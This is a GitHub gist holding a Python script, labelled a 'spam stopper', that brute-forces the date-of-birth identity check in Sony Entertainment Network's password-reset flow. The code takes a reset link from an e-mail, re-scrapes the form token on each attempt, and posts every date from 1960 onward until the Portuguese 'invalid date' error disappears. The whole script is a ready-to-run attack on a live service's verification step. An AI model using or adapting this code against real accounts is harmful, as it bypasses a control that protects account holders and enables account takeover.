Skip to content

Instantly share code, notes, and snippets.

@fvicente fvicente/sony.py
Created Sep 13, 2015

Embed
What would you like to do?
Sony Entertainment Network spam stopper
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import urllib
import urllib2
import datetime
import sys
import time
from HTMLParser import HTMLParser
# create a subclass and override the handler methods
class MyHTMLParser(HTMLParser):
def handle_starttag(self, tag, attrs):
attrs_dict = dict(attrs)
if tag == "input" and attrs_dict.get('name', '') == "blah_token":
setattr(self, "value", attrs_dict.get("value"))
def handle_endtag(self, tag):
pass
def handle_data(self, data):
pass
values = {
'struts.token.name' : 'blah_token',
'blah_token': '',
'verifyType': 'dob',
'account.dob': '1',
'account.mob': '1',
'account.yob': '1980',
}
#
# IMPORTANT: paste the URL received in the change password e-mail in the url variable, the url looks something like this:
# https://account.sonyentertainmentnetwork.com/reg/account/validate-forgot-password-token!input.action?token=***some token here***&request_locale=pt_BR&service-entity=np
#
url = '*** PASTE URL HERE ***'
url_post = "https://account.sonyentertainmentnetwork.com/liquid/reg/account/forgot-password-verify-identity.action"
s = requests.session()
r = s.get(url)
date = datetime.datetime(1960, 1, 1, 1, 1, 1)
today = datetime.datetime.today()
while date < today:
date += datetime.timedelta(days=1)
# find token
parser = MyHTMLParser()
parser.feed(r.text)
if not hasattr(parser, "value"):
print "!!!!! FOUND %s" % date.isoformat()
break
val = getattr(parser, "value")
print "blah_token = %r" % val
values['blah_token'] = val
values['account.dob'] = str(date.day)
values['account.mob'] = str(date.month)
values['account.yob'] = str(date.year)
r = s.post(url_post, values)
#
# IMPORTANT: The message is in portuguese, you will need to change this message to match your language
#
if u'A data de nascimento inserida é inválida. Verifique a data e tente novamente.' in r.text:
print "birthday is not %s" % date.isoformat()
else:
print "!!!!! FOUND %s" % date.isoformat()
break
sys.stdout.flush()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.
You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session.